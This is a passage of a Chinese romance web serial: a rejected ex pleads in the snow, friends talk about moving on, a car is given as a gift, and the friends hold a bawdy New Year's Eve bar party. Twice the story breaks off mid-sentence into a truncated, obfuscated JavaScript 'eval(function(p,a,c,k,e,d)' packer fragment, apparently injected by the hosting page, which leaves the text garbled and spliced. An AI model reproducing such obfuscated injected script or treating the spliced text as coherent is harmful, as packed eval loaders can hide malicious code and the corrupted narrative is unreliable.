“以前的我,已经死了。”南景继续说,“死在那杯被误会的酒里,死在无数个被你忽略的夜晚,死在一次次石沉大海的消息里,死在最后那场让我觉得自己像个笑话的争吵里。邵既明,你爱的,你怀念的,那个热烈地、不顾一切爱着你的南景,已经被你亲手杀死了。” “不……不是的……我没有……”邵既明猛地摇头,想要否认,想要反驳。 “我们都往前看吧。”南景没有理会他的否认,“就当……彼此各有各的难处,各有各的不得已。那段路,走岔了,就是走岔了。现在,我找到了我该走的方向,虽然和原来的计划不同,但我觉得很好,很轻松。你也应该去找你自己的路了。别再回头看了,邵既明,后面什么都没有了。” 他说完,微微颔首,不再看邵既明瞬间惨白如纸的脸,转身,伸手刷开了单元门禁。 “南景!”邵既明在他身后嘶声喊他的名字,“礼物……你拿着……就当……就当是我最后的……” 南景推门的动作顿了一下,没有回头。 “不用了。照顾好自己。” 门开了,温暖的空气涌出。南景走了进去,玻璃门在他身后缓缓合拢。 邵既明僵在原地,伸出的手还徒劳地悬在空中。 他低下头,看着袋子上凝结的雪霜,忽然觉得无比荒谬。他准备了道歉,准备了礼物,准备了无数遍恳求原谅的说辞,甚至做好了长期赎罪的准备。 可南景什么都不要。不要他的道歉,不要他的礼物,不要他的回头,甚至不要他的恨。 他只是平静地告诉他:我很好,很快乐,你走吧。 然后,就真的,头也不回地走了。 如果迟到的醒悟和道歉都太晚,那就让离别教会我们懂得珍惜和悔改。 秦朗看着邵既明在风雪里几乎要冻成冰棍的惨样,再看看显然不打算回头的南景,叹了口气,重新推开单元门走了出去。 他走到邵既明身边,抬手,重重地拍了两下他那被雪浸得湿冷僵硬的大衣肩膀,力道不轻,带着点恨铁不成钢的意味。 “行了,别杵这儿当望妻石了,人家南景都想开了,活得挺明白,挺快乐。你说你还在这儿有什么想不开的?跟自己较什么劲呢?该翻篇翻篇,该放手放手,往前走吧,兄弟。你这副样子,除了让自己更难受,让路过的人看笑话,还有什么用?” 邵既明目光从早已空无一人的楼道口收回,落在秦朗脸上。他眼底的血丝在灯光下红得吓人,瞳孔深处却是一片荒芜的灰败。他张了张嘴,声音嘶哑得像是砂纸磨过朽木:“哥……我放不下。我也不想放。” 秦朗被他这执拗到近乎偏执的眼神看得心头一凛,随即又是涌上一股火气,他抬手点了点邵既明的额头,语气毫不客气:“你神经病啊?人家南景那边,前任的坟头草都三米高了,清明上香都嫌路远,人家自己都把坑填平了准备种花了,你倒好,还搁这儿对着空气演《人鬼情未了》呢?还我不放?你抓紧什么了你就放?空气吗?回忆吗?你那点自我感动的深情?” “人家南景现在的生活状态是重启成功,版本更新,适配良好,拒绝向下兼容。你呢?你还在死磕那个早就停服、连运营商都跑路了的旧版本!系统都提示你该程序已无法运行,建议卸载,你还非得强行安装,完了卡死机了还怪电脑不行?邵既明,你清醒一点!” “哥,我能……把他关起来吗?” 秦朗脸上的调侃和无奈瞬间消失,他一把攥住邵既明的大衣前襟,力道大得让邵既明踉跄了一下,两人的脸在风雪中贴近,秦朗的眼神冷得像冰:“邵既明,你他妈给老子再说一遍?关起来?你脑子是不是被今晚的西北风吹傻了,还是被你自己那点破事儿腌入味了,馊主意一个接一个?” 他松开手,语气是前所未有的严厉和警告:“我告诉你,你最好立刻、马上,给老子打消这个念头!动动你那生锈的脑子想想,你现在能威胁到南景的有什么?钱?他不稀罕了。事业?他自己能闯。感情?你已经出局了。唯一能让他有点顾忌的,只有周冉。” 秦朗向前逼近一步,周身散发出一种与平日玩世不恭截然不同的冰冷气势:“有我在,你他妈敢动周冉一根头发试试?我让你,让你们邵家,都吃不了兜着走!不信你就试试看!” 他看着邵既明骤然收缩的瞳孔和更加苍白的脸,他放缓了语速:“至于把南景关起来?哈!邵既明,我告诉你,你真要那么做了,最后你能得到的,绝对不会是一个回心转意的南景,只会是一具冰冷的尸体,或者一个彻底疯掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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灯光是暖黄色的,落在周冉和南景身上,在沙发后的白墙上拖出两道安静的影子。脱下的外套还带着室外的寒气,被随意搭在椅背上,正慢慢被室温烘暖。 周冉走到南景面前,没说话,只是抬起手,指尖很轻地拂过他微微蹙起的眉心,像是要抹平那下面看不见的折痕。她的动作带着一种无需言说的默契和抚慰。 “都会好的。”她说。 南景牵了牵嘴角,露出一个很淡的笑意,那笑意抵达眼底。他抬手,覆在她还没来得及收回的手背上,轻轻握了一下,然后松开。 “嗯,我没事。”他也说。 两人走到沙发边坐下,身体陷进柔软的垫子里。南景拿起茶几上的保温壶,倒了兩杯温水,递了一杯给周冉。 周冉接过杯子,双手捧着。 “你还会想他吗?” 南景握着杯子的手顿了顿,他没有立刻回答,似乎真的在认真思考这个问题。 “会。”片刻后,他给出了一个诚实的答案。 “一开始,会特别想。不是刻意的,是……无法控制的。可能看到某个牌子的咖啡,走过某条一起走过的街,甚至只是天气好的时候,脑子里突然就冒出来他的样子,他说过的一句话,或者某个……早就该被忘记的细节。那时候会觉得,啊,又来了。然后告诉自己,想就想吧,又不犯法,也控制不了,那就让它想一会儿,过去了就好了。” 他喝了口水,喉结滚动了一下。 “后来,慢慢的,就不会再那么频繁地想起来了。好像大脑也累了,知道想也没用,就自动减少了这种无效运行。再后来……” “再后来,偶尔还是会想起来。但不是想念了。更像……是看到书里某个以前划过的句子,或者整理旧物时翻出一张褪色的电影票。东西还在那里,提醒你那段时光确实存在过,你也确实投入过。但也就仅此而已了。不会心痛,不会遗憾,也不会……再有任何期待或者波澜。” 他抬起眼,看向周冉,眼神清澈平静。 “就是一段记忆。被归档了,封存了,不再具有影响现在的能力。想起的时候,心情就像看一部很久以前看过结局不算美好的老电影,你知道情节,记得感受,但不会再有身临其境的情绪了。” “可能就是这样吧。来的时候轰轰烈烈,以为能填满一切;走的时候抽筋剥骨,以为世界都塌了。但最后你会发现,它能带走很多东西,也能留下很多痕迹,但唯独带不走你向前走的本能,也留不住时间。” “爱情死了,但生活还得继续。而且,”他顿了顿,看向周冉,眼神温暖,“你会发现,没有爱情,或者没有那段爱情的生活,也可以有别的填充,别的快乐,别的……值得珍惜的东西。比如,凌晨三点能被哐哐砸门叫起来吃早饭的友情。” 周冉听着,没有插话,只是安静地捧着水杯。直到他说完最后一句,她才嗤笑一声,踢掉脚上的拖鞋,把脚缩到沙发上,找了个更舒服的姿势。 “说得跟真事儿似的。”她撇撇嘴,但眼神是柔和的,“不过还行,没钻牛角尖,也没摆出一副红尘已看破,余生伴青灯的鬼样子。还能开玩笑,说明脑子没坏。” 她把下巴搁在膝盖上,歪头看着南景:“那关于爱情,你现在怎么想?还信这玩意儿吗?还是觉得,也就那么回事?” 窗外,雪似乎下得更密了,无声地覆盖着城市的一切。窗内,暖气充足,水杯温热,老友在侧,谈论着一个古老又永远新鲜的话题。 21. 跨年(1) 元旦前两日的傍晚,天色是一种将暗未暗的混沌灰蓝,最后一点稀薄的夕光挣扎着穿过城市高楼的缝隙。暖气开得很足,餐厅里弥漫着南景刚煮好的罗宋汤的酸甜香气。 门被推开一条缝,先探进来的是周冉戴着毛线帽的脑袋,她眼睛瞪得圆溜溜的,飞快地扫视了一圈客厅,确认南景坐在餐桌边对着笔记本电脑敲敲打打,整个人挤了进来,然后迅速反手关上门。 她穿着一件看起来就价格不菲但被她穿得皱巴巴的白色长羽绒服,进门后,她没像往常一样把外套随手一扔,而是带着点神秘兮兮的兴奋,在玄关磨蹭了好一会儿,悉悉索索地不知道在捣鼓什么。 南景从电脑屏幕前抬起头,看着她这一系列反常操作,眉毛微微扬起:“你这两天怎么回事?早出晚归,神出鬼没,回来就这副做贼心虚的德性。捡到阿拉丁神灯了,还是加入什么地下组织了?” “去去去,你才做贼呢!我这是……在进行一项伟大的、秘密的、充满战略意义的采购行动!”周冉梗着脖子反驳。她踢踢踏踏地走到客厅中央,然后,她从家口袋里掏出一个东西,手腕一转,“啪”一声,清脆地拍在餐桌光滑的木质桌面上,就在南景的电脑旁边。 那是一把车钥匙。 南景敲击键盘的手指顿住了。他视线从屏幕上移开,缓缓下移,落在桌面上那把小小的钥匙上。他看了几秒,没动,也没说话,只是眼睛微微睁大了一些。 周冉双手叉腰,下巴抬得老高,脸上“快夸我”的骄矜表情。 南景终于伸出手,指尖触到冰凉的金属钥匙。他拿起来,放在掌心,拇指无意识地摩挲过那个著名的盾徽标志。他抬起眼,看向周冉,“这……不便宜吧?我好像还没给你赚到这车一个轮子的钱。” “啧!”周冉立刻皱起鼻子,嫌弃地挥挥手,“钱钱钱,庸俗!重要的是这个吗?重要的是排面!是气场!”她绕过餐桌,走到对面的沙发前,然后毫无形象地自己砸进柔软的超大沙发里,手脚摊开,完成一个标准的“葛优躺”。她抓起一个抱枕搂在怀里,把半张脸埋进去,“听着,南小景,这事儿很重要。以后出门,谈项目也好,见客户也罢,或者就是单纯去超市买个菜,你,必须,给我,开、这、辆、车、去!” “绝对不能让人以为你娘家没人!懂吗?以后直接开进他们那种高档写字楼、酒店、会所的地下停车场,停到最显眼的位置!让那些不长眼的、狗眼看人低的、还有某些自我感觉过于良好的不干净的玩意儿,从根儿上就断了那些有的没的的心思!省得他们再杵在门口碍眼,破坏本大小姐……和本大小姐的私人理财师,呼吸新鲜空气的好心情!” 她一口气说完,又瘫回沙发深处。 南景还握着那把车钥匙,指尖的温度似乎将金属也焐热了些许。他看着沙发上那个把自己摊成一张饼、嘴里说着最霸道的话、眼神里却藏着小心翼翼和无比赤诚的姑娘。客厅顶灯的光晕温柔地笼罩下来,空气里罗宋汤的香气越发浓郁。窗外的城市华灯初上,车流如织,而这一方小小的天地,温暖,踏实,有人把他看得比什么都重。 他很慢地眨了眨眼,将眼底骤然涌上的那股酸涩热意逼了回去。他放下钥匙,用指尖揉了揉鼻梁。再抬头时,脸上已经恢复了平静,只是嘴角的弧度柔软得不可思议,眼底漾着细碎温暖的光。 “你啊……”他轻轻叹了口气,“怎么这么好呀,我的妹妹。” 他没有说“谢谢”。有些情分,太重了,“谢谢”两个字太轻,配不上。 周冉一听,从沙发上一跃而起,把抱枕朝南景的方向虚砸了一下,脸上是夸张的嫌弃和“恨铁不成钢”:“啧!南小景!你看看!你看看你这没出息的样子!这就夸我好了?!你的防备心呢?你的金融精英的冷静自持呢?啊?!” 她光着脚蹦跶过来,双手撑在餐桌边,身体前倾,凑近南景,漂亮的杏眼瞪得圆圆的:“我警告你啊!我给你东西,可不是为了听你发好人卡的!我这是……这是资本家最顶级的PUA手段,懂不懂?糖衣炮弹!先给你点甜头,把你养得白白胖胖、心情舒畅,让你觉得跟着我周冉混,有肉吃,有车开,有面子!这样你明天、后天、大后天,才会更加心甘情愿、屁颠屁颠地去给我当牛做马,去金融市场冲锋陷阵,去把我的钱生出更多的钱!” 她越说越来劲,手指在空中比划着:“等我的资产翻倍,不,翻十倍!我就可以多点八个……不,十八个男模!要腹肌有腹肌,要脸蛋有脸蛋,要才艺有才艺的那种!让他们排着队给我表演徒手开核桃、胸口碎大石、还有倒立唱《爱情买卖》!这才是我投资的终极目的!你现在就是我宏伟蓝图上最重要的那颗螺丝钉!所以,收起你那些没用的感动,赶紧给我支棱起来,明天就开着这车去谈那个生物医药的案子,务必给我拿下!听明白没有?!” 南景安静地听她说完这一大段漏洞百出、又无比周冉的宣言。他看着她因为急切而微微起伏的胸口,看着她明明做着最霸道的事、说着最势利的话,却把一颗毫无保留滚烫的真心捧到他面前的样子。 他忽然低低地笑了起来。起初只是肩膀微微耸动,然后笑声越来越大,越来越清晰,最后变成了畅快淋漓的大笑。他笑得眼角都沁出了一点生理性的泪水,在灯光下闪闪发亮。 “哈哈……好,好……听明白了,周总。”他边笑边说,声音里带着未散的笑意和浓浓的鼻音,“为了您明天能点十八个男模,为了徒手开核桃和倒立唱《爱情买卖》的伟大事业,我明天一定……开着这辆糖衣炮弹,去把案子拿下。保证完成任务。” 周冉看着他笑得开怀的样子,先是愣了一下,随即也绷不住,“噗嗤”一声笑了出来,刚才那副虚张声势的资本家模样瞬间瓦解。她重新瘫回沙发里,小声嘀咕:“这还差不多……算你识相。” 南景止住笑,拿起桌上已经微凉的罗宋汤,喝了一大口。他重新看向沙发上那个又恢复“葛优躺”姿态的姑娘,轻声说: “汤好了,过来喝。给你加了双倍番茄,没放你不吃的芹菜。” “这还差不多……”周冉哼哼唧唧地爬起来,趿拉着拖鞋蹭到餐桌边,挨着他坐下。 跨年夜的江岸,化身为一片沸腾的、由灯光、人潮和喧嚣汇成的海洋。距离零点还有好几个小时,主干道已沦陷为巨型停车场,车灯的红流与霓虹的彩光交织,绵延数里,映亮了一张张兴奋期盼的脸。喇叭声、音乐声、年轻人的笑闹呼喊声,混杂着冬日夜晚清冷的空气,形成一种令人头皮发麻又心潮澎湃的噪音背景墙。 南景驾驶着那辆崭新的坐驾,在龟速挪动的车流中,显得格外沉稳流畅,但再好的性能也敌不过人海战术。短短三公里,足足耗掉近一个小时。周冉瘫在副驾,第N次刷新手机地图上那令人绝望的红色路段,发出哀叹:“我算是明白了,人类集体迁徙的壮观,只有身临其境才能体会,并且想死。南小景,你说我现在下车跑过去,会不会比车快?” “会,”南景瞥了一眼窗外摩肩接踵、几乎水泄不通的人行道,慢悠悠补充,“前提是你能突破前方大爷大妈的广场舞方阵、情侣连体婴障碍、以及卖发光头饰和氢气球的游击小队。” 等他们终于“爬”到酒吧所在的建筑楼下,时间已逼近聚会约定点。酒吧门口同样人头攒动,穿着时尚的男女在寒风中喷着白气交谈,等待入场。秦朗就站在那一片喧嚣与璀璨灯牌下,一身剪裁利落的黑色长大衣,衬得身姿愈发挺拔。他手里依旧捧着一束花,这次是热烈明艳的红玫瑰,每一朵都饱满欲滴,在酒吧变幻的霓虹灯下,红得灼眼,与他脸上灿烂过星辰的笑容相得益彰。他目光落在刚从车上下来的周冉,几步迎上,将花束不由分说地递到她面前。 “有没有想我呀,冉冉。”他开口,桃花眼弯起。 周冉接过那束沉甸甸、香气馥郁的红玫瑰。她美目流转,上下扫了秦朗一眼,然后微微歪头,做出认真思考的样子:“本来呢,堵在车河里无聊的时候,是稍微想了那么一下下。后来,”她耸耸肩,语气变得无比遗憾,“手机太好玩了,刷着刷着……就给忘了。” 秦朗脸上的笑容瞬间放大,不仅没被打击,反而像是听到了什么天大的情话,一手捂住心口,另一只手夸张地举向夜空,做咏叹状:“终于啊!皇天不负苦心人!守得云开见月明!近水楼台先得月!冉冉你心里终于有我了!虽然只有一下下,还被手机打败了,但四舍五入就是一辈子了!我宣布,今天就是我秦朗的纪念日!” “打住!打住打住!”周冉一手抱花,一手抬起,做了个“暂停”的手势,漂亮的眉毛嫌弃地拧起,“麻烦你立刻、马上,管好你那张跑火车的嘴。再这么胡说八道,信不信我立刻找卷胶带给你堵上?” “嘻嘻,”秦朗立刻凑近,脸几乎要贴到她举起的指尖,眼神促狭,压低声音,用气声暧昧地问:“拿什么堵?你的嘴吗?冉冉,快快快来,我等不及了……试试看能不能堵住?”他边说边故意撅了撅嘴,做出索吻的架势,动作夸张又欠揍。 “!!!”周冉瞬间炸毛,一把将怀里巨大的玫瑰花束塞回秦朗怀里,然后迅雷不及掩耳地转身,一把拽住旁边正忍着笑看戏的南景的胳膊,拖着他就在酒吧入口冲,嘴里念念有词:“快走快走!此地不宜久留!狐狸精都没他骚包!太骚了!辣眼睛!南小景你以后离他远点,容易学坏!” 南景被她拽得一个趔趄,随即顺从地跟上,终于忍不住,低低的笑声从喉咙里逸出:“哈哈哈……好,听你的,离远点。” 秦朗抱着被退货的玫瑰花,看着周冉落荒而逃的背影和南景含笑的神情,不但不恼,反而笑得见牙不见眼,得意洋洋地跟了上去,还对着门口查ID的保安熟稔地打了个招呼。 三人好不容易挤过摩肩接踵的一楼大厅,乘电梯直达四楼。电梯门打开的瞬间,比楼下更甚的热浪、声浪和混杂着酒水、香水、食物气息的暖风扑面而来,几乎让人窒息。 四楼的江景露台今夜更是被装点得宛如梦幻王国。巨大的透明穹顶之下,悬挂着无数闪烁的星空灯和银色气球,正中央一棵高达数米的电子圣诞树(兼新年树)流光溢彩,变幻着图案。音乐是请了知名DJ现场打碟的,鼓点强劲,几乎要震碎胸腔,却又奇异地与满场的欢呼尖叫融为一体。目光所及,尽是精心打扮的男男女女,穿着闪亮的衣裙或潮服,在舞池中忘我扭动,在卡座间高声谈笑,空气里弥漫着酒精、荷尔蒙和今夜无眠的放肆味道。 他们预订的江边卡座位置依然绝佳。周卓、还有另外几个眼熟的朋友已经到了,正围着桌子玩骰子,声音一个比一个大。令人意外的是,林骁和徐杨也在。两人今晚的打扮与上次又不同,林骁穿了件真丝绒质感的墨绿色衬衫,领口微敞,野性中添了几分贵气;徐杨则是米白色毛衣搭配卡其裤,温润清爽。他们正和周卓说着什么,引得周卓哈哈大笑。看到秦朗他们过来,周卓立刻放下骰盅,挥舞着手臂:“这边这边!秦少!冉姐!南景!这边!” 周冉拖着南景挤过人群,走到卡座边,长舒一口气,把自己扔进柔软的沙发里,这才有工夫打量四周。她对着周卓挥了挥小手:“嗨,嗨…嗨…人真他娘的多……我感觉我半条命已经捐给楼下的电梯和人群了。” 周卓笑嘻嘻地递过来一杯早已准备好的、插着柠檬片的冰水:“冉姐辛苦了!喝口水压压惊!今天跨年嘛,全城出动的节奏!不过咱们这儿位置好,看烟花一览无余!”他目光扫到后面抱着花、一脸春风得意跟进来的秦朗,立刻挤眉弄眼:“哟!秦少,又送花?这次是红玫瑰?攻势很猛嘛!” 秦朗把花小心地放在周冉面前的桌上,得意地挑眉:“那必须,新年新气象,当然要红红火火。”他顺势在周冉旁边坐下,手臂很自然地搭在她身后的沙发背上。 林骁和徐杨也笑着跟他们打招呼。林骁目光落在南景身上,笑容爽朗:“南景,又见面了。今天气色不错。”徐杨则温和地点头示意,递过来一杯度数不高的起泡酒:“南景,喝点这个?味道比较清爽。” 南景对两人笑了笑,接过酒杯:“谢谢。你们今天也在?有工作?”他记得周冉提过他们是模特。 “嗯,有个品牌的跨年活动刚结束,就在附近。”徐杨解释,笑容温和,“周卓说这边有局,热闹,我们就过来蹭玩了。没打扰吧?” “当然没有!”周冉立刻接话,眼睛弯成月牙,看看林骁又看看徐杨,最后目光落在南景身上,意有所指地拉长语调,“人多热闹~特别好~是不是啊,南、小、景?” 南景无奈地看她一眼,没接这个话茬,只是对林骁和徐杨举了举杯:“欢迎。上次玩得很开心,今晚继续。” 周卓显然是游戏黑洞,连着输了几把,被罚的酒一杯接一杯,脸已经涨红,正大着舌头和另一个朋友争论上一轮的规则。秦朗虽然主要注意力在周冉身上,但社交本能让他游刃有余地照顾着全场,时而接话,时而叫酒,确保每个人杯子不空。 林骁的注意力显然更多放在南景身上。他坐在南景斜对面的单人沙发上,长腿随意敞着,衬衫的袖子挽到手肘,露出线条流畅的小臂。他手里玩着一个金属打火机,开开合合,发出清脆的“咔嗒”声,目光却时常掠过喧嚣,落在南景身上。 当南景听完徐杨关于某个艺术展的分享,微微点头表示赞同时,林骁忽然身体前倾,手肘撑在膝盖上,隔着不大的茶几看向南景,声音在音乐间隙中提高了一些,带着他特有的、略显沙哑的直率:“南景,光听徐杨说那些虚头巴脑的艺术理论多没劲。不如玩点实在的?”他拿起桌上一个空的威士忌杯,又抓起三颗骰子,在手里掂了掂,眼神里带着挑战的笑意,“比大小,真心话。输的人回答赢家一个问题,或者喝一杯。敢不敢?” 南景还没回答,旁边的周冉耳朵尖,立刻凑过来,眼睛发亮:“哎!这个好!南小景,上!怕什么!问点劲爆的!” 南景看了一眼林骁手中转动的骰子,又看了看他眼中并无恶意、纯粹是找乐子的光,笑了笑,也放松了坐姿:“行啊。不过问题尺度要提前说好,涉及商业机密和个人密码的,恕不回答。” “放心,”林骁咧嘴一笑,虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“后来工作人员紧急抢修,耽误了快十分钟。”南景喝了口酒,自己也觉得好笑,“还好后来电路恢复了,比赛继续。不过我们队最后还是输了,我总觉得跟我那一绊有点关系。后来好长一段时间,系里同学见我都叫我断电一辩。” “断电一辩!哈哈哈哈!这外号好!”周卓也加入了嘲笑行列。 秦朗笑着搂了搂周冉的肩膀,低声说:“看不出来啊,南景还有这种黑历史。” 周冉与有荣焉地抬下巴:“那是,我们南小景也是有过青春的人!虽然青春有点漏电。” 笑闹过后,游戏继续。这次南景赢了。他看着林骁,想了想,问了个不痛不痒的问题:“你做过最疯狂的一件事是什么?” 林骁没想到南景问得这么“温和”,愣了一下,随即摸了下鼻子,眼神飘向窗外璀璨的江景,声音低了些,带着点回忆的味道:“最疯狂的啊……大概是二十岁那年,瞒着家里,用攒了好久的钱和奖学金,一个人跑去了撒哈拉沙漠边缘,住了半个月。想看看真正的星空,也想想自己到底要什么。”他收回目光,看向南景,笑了笑,“结果晒脱一层皮,差点迷路,也被星空震撼到哭。回来就被我爸揍了一顿,但觉得值。” 这个答案出乎意料的真诚,甚至带着点理想主义的浪漫色彩,与林骁略显野性的外表形成微妙反差。南景有些讶异,随即真诚地说:“很酷的经历。” 徐杨在一旁安静地听着,适时地给两人的杯子续上酒。在南景放下酒杯时,他注意到南景的嘴角沾了一点点杯沿的盐边,抽了张纸巾递过去,声音温和:“南景,这里。” 南景道谢接过,擦掉。徐杨笑了笑,没再多说,转而拿起自己的酒杯,向林骁示意:“林骁,咱俩也来一把?输了的人,去舞池里找一位陌生人,用最正经的语气说‘您好,请问您相信光吗?’” 这个提议瞬间点燃了周冉和周卓的恶趣味,两人立刻起哄。林骁“靠”了一声,笑骂徐杨“看着老实,一肚子坏水”,但还是爽快地拿起了骰盅。 游戏之外,徐杨与南景的交流则更多是悄无声息的照顾。 林骁则更外放。他看到南景似乎对DJ正在放的一首偏冷门但旋律不错的电子音乐微微挑眉,便主动搭话:“这首歌的混音师是我一朋友,很棒吧?他下个月在Mao有现场,你要是感兴趣,我这有票。”说着拿出手机,很自然地调出购票页面给南景看,距离保持在礼貌范围内,但分享的意味明显。 南景接过手机看了看,点点头:“确实不错。有时间的话,可以去听听。”他将手机递回时,林骁的手指无意间轻轻擦过他的指尖,一触即分,快得像是错觉。林骁神色如常地收回手机,笑着说了句“那说定了”。 徐杨看了看似乎不打算去跳舞的南景,又看了看窗外,提议道:“南景,离烟花还有点时间,这边有点闷,旁边有个小露台,人少,看江景角度也不错,要去透透气吗?” 南景正觉得音乐震得有些头痛,便点头:“好。” 林骁闻言,也站起身:“一起。我也去抽根烟。” 三人避开拥挤的人潮,走到主露台侧翼一个相对安静的小观景台。这里果然人少,只有零星几对情侣依偎着看夜景。寒风扑面而来,瞬间吹散了室内的燥热,却也让人精神一振。对岸的灯火清晰无比。 徐杨靠在栏杆上,望着江面,安静地没有说话。林骁则走到一边,点燃了一支烟,猩红的火光在夜色中明灭。他抽了一口,缓缓吐出烟雾,侧头看向站在几步外的南景。南景微微仰头,望着夜空,侧脸在远处霓虹和近处安全灯的光线下,显得沉静而清晰。 “南景,”林骁忽然开口,声音在风中显得有点模糊,“上次……冉姐那出啤酒教学,没吓着你吧?”他语气带着点玩笑,眼神却认真。 南景转过头,看向他,想起那晚周冉的壮举,不由得笑了:“还好。她一向那样。倒是你,衣服真没事?” “没事,”林骁摆手,也笑了,“早干了。再说,秦少后来真赔了我一件,比我那件还贵。赚了。”他顿了顿,弹了下烟灰,语气随意,却又似乎藏着点试探,“不过,冉姐对你真好。亲兄妹也不过如此了。” “嗯,”南景点头,目光柔和地望向主露台方向,虽然看不到周冉,但能想象她此刻在舞池里肆意欢闹的样子,“她是我最重要的家人。” 徐杨这时也转过身,背靠着栏杆,双手插在裤袋里,看向南景,温声说:“有这样的人在身边,是福气。南景你性格好,值得被这样对待。” 这话说得真诚。南景看向徐杨,对上他清澈温和的目光,微微颔首:“谢谢。你们也是,周卓的朋友,都挺有意思。” “周卓算我们老板的客户,我们秦少不算太熟。”林骁接过话茬,将烟蒂摁灭在旁边的垃圾桶上,走了回来,与南景、徐杨形成一个松散的三角,“不过南景,感觉你跟秦少他们那个圈子,不太一样。” “哪里不一样?”南景有些好奇。 “说不上来,”林骁摸了摸下巴,做出思考状,“就是感觉……你没那么多圈子里的习气。更……干净?也更……”他似乎在找一个合适的词。 “更稳。”徐杨轻声补充,他看向南景,眼神带着欣赏,“是那种知道自己要什么,也在认真生活的稳。不浮不躁,很难得。” 被两个算上今晚才第二次见面的人这样评价,南景有些意外,也有些不好意思。他笑了笑:“你们过奖了。我只是……按自己的步调走而已。” 22. 夸年(2) “南景!玩游戏了!!!” 是周冉。她不知何时挤出了沸腾的舞池,正站在主露台连接小露台的门口,一手叉腰,一手拢在嘴边做喇叭状。看到南景回头,她立刻大力挥手。 南景看着她那副活力满满的样子,不由得笑了,对身旁的两人说:“走吧,周冉叫了。” 林骁和徐杨转身跟着南景往回走。两人目光在空中不经意地交汇了一瞬,带着点较劲意味的微妙张力。林骁挑了挑眉,嘴角勾起一个略带挑衅的弧度;徐杨则只是淡淡地瞥了他一眼,便恢复了温和的表情,但脚步却快了一分,几乎与南景并肩。 周冉看着他们走近,尤其是捕捉到林骁和徐杨之间那点无声的“刀光剑影”。她一把拉住南景的胳膊,将他拽得落后两步,自己凑到他耳边,用只有两人能听到的气声进谏:“怎么样怎么样?近距离观察了没?看上哪个了?林骁那小子野是野了点,但身材绝对有料,腹肌我目测八块起步!徐杨看着乖,但这种白切黑往往反差最大!要是两个都看上了……嗐!”她拍了下南景的胳膊,“区区两根!以我们南小景的条件和潜力,绝对可以!姐姐支持你!成年人的世界,不做选择!” 南景被她这惊世骇俗的建议弄得耳根发热,哭笑不得,抬手不轻不重地敲了敲她的额头:“脑瓜子里一天到晚都想什么呢?” “哎哟!”周冉捂着被敲的额头,不服气地瞪他,“我这可是为你着想!大好年华,大好□□,岂能因为一个过去式的渣男就因噎废食,放弃整片森林?你看看那俩,要脸蛋有脸蛋,要身材有身材,风格还任君挑选!这不比对着电脑K线图有意思?南小景,你得支棱起来啊!” “行了行了,走吧你,就你戏多。”南景无奈地笑着,推着她往回走。 三人回到卡座时,气氛已经因为接近零点的狂欢和酒精的催化达到了新的高潮。周卓显然是玩嗨了,正站在沙发上挥舞着一个空的香槟瓶当麦克风,嘶吼着不成调的《难忘今宵》。看到他们回来,他立刻从沙发上跳下来,一把搂住周冉的肩膀(被周冉嫌弃地拍开):“冉姐!你们可算回来了!该进行下一个保留项目了!来来来,玩什么?今天必须玩点刺激的!” “玩!‘我有你没有’!简单粗暴!”周冉一屁股坐在沙发中央,顺手拿起桌上一个空骰盅,“规则都知道吧?轮流掷骰子,点数最大的人提一个‘我有你没有’的经历或特征,在场的人,谁没有,谁喝酒!提的问题嘛……嘿嘿,”她环视一圈,笑容狡黠如狐,“当然是怎么劲爆怎么来!今天不喝趴下几个,不许走!” “OKOK!没问题!”“来!谁怕谁!”“冉姐威武!”众人立刻响应,连原本有些矜持的几个女生也红着脸加入了进来。秦朗自然挨着周冉坐下,林骁和徐杨则一左一右,很自然地坐在了南景两侧的沙发扶手上。 第一轮,骰子在玻璃茶几上骨碌碌转动。揭开。 “哈哈哈!5点!最大是我!”周冉抓起骰子,得意地晃了晃,目光不怀好意的扫过全场,尤其在几个平时最爱装纯情的男女脸上多停留了一秒,然后红唇轻启,吐出一个石破天惊的问题:“听好了啊!‘我’有——假装过高?潮的,举手!或者没有过的,自觉点,喝!” “噗!”正在喝水的周卓第一个喷了出来,呛得直咳嗽。卡座里瞬间一片死寂,随即爆发出更大的哄笑和尖叫声。 几个女生脸瞬间红透,你推我搡,眼神飘忽,最终有三四个颤颤巍巍地举起了手。令人意外的是,男生里也有两三个,在同伴的起哄和“是不是男人”的激将下,面红耳赤地举了手,其中一个还嘴硬地辩解:“那、那次是喝太多了!状态不好!不算!” 周冉的目光扫过全场,然后定格在身旁的南景身上,他正端着杯子,一脸“与我无瓜”的平静,显然不打算举手。 “嗯?”周冉挑眉,二话不说,直接伸手抓住南景的手腕,强行把他的胳膊举了起来,还晃了晃,“装什么装?就你纯洁?举好!” 南景被她这突如其来的操作弄得一愣,随即无奈地摇头失笑,也就任由她举着了,脸上是“行行行,你说了算”的纵容。 “哈哈哈哈哈!冉姐绝了!强制举手可还行!”周卓笑得直拍大腿,眼泪都出来了。 “切,”周冉白了他一眼,目光在刚才举手的那几个人和周卓之间扫了个来回,忽然压低声音,用恰好能让周卓听清的音量说,“你笑什么?要不要仔细看看,刚才举手的那几位美女里……有没有和你上过床的?嗯?” 周卓脸上的笑容瞬间僵住。他猛地转头,目光惊疑不定地在那几个举手、此刻都低着头或假装看别处的女生脸上梭巡。几秒后,他像是认出了谁,瞳孔地震,表情从震惊到尴尬到卧槽,最后定格在一片空白的麻木,内心仿佛有一万头草泥马呼啸奔腾而过——居然!还!真!有! 看着周卓那副仿佛被雷劈了又强行镇定的模样,周冉心满意足地收回目光,深藏功与名。 秦朗趁着众人罚酒、笑闹的间隙,悄悄凑到周冉耳边,温热的气息拂过她的耳廓,声音压得低低的,带着笑意和得意:“没举手啊……看来我技术还行?至少没让冉姐你有假装的机会?” 周冉侧过头,斜睨着他近在咫尺的俊脸,红唇勾起一个嘲讽的弧度,同样压低声音,用气声在他耳边吐气如兰:“呵……那天晚上我喝得妈都不认识了,记得个屁。有没有假装,你问我?我问谁去?” 